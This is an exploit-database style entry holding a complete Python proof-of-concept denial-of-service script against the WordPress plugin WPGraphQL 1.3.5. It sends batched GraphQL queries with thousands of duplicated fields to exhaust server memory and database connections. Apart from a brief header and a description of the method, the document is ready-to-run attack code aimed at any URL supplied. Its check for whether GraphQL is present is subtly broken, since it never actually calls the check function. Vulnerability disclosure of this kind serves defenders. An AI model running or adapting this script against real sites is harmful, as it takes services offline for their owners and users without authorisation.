WordPress Plugin WPGraphQL 1.3.5 - Denial of Service

# Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service 
# Author: Dolev Farhi
# Date: 2021-04-12
# Vendor Homepage: https://www.wpgraphql.com/
# Version: 1.3.5 
# Tested on: Ubuntu


"""
  This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.
"""

import sys
import requests


def usage():
  print('* WordPress GraphQL 1.3.5 Denial of Service *')
  print('python {} <wordpress_url> <number_of_field_duplications> <number_of_chained_queries>'.format(sys.argv[0]))
  print('python {} http://site.com 10000 100'.format(sys.argv[0]))
  sys.exit(1)

if len(sys.argv) < 4:
  print('Missing arguments!')
  usage()

def wpgql_exists():
  try:
    r = requests.post(WORDPRESS_URL, json='x')
    if 'GraphQL' in r.json()['errors'][0]['message']:
      return True
  except:
    pass
  return False

# This PoC assumes graphql is located at index.php?graphql
WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'
FORCE_MULTIPLIER = int(sys.argv[2])
CHAINED_REQUESTS = int(sys.argv[3])

if wpgql_exists is False:
  print('Could not identify GraphQL running at "/index.php?graphql"')
  sys.exit(1)

queries = []

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}

for _ in range(0, CHAINED_REQUESTS):
  queries.append(query)

r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
print('Response:', r.json())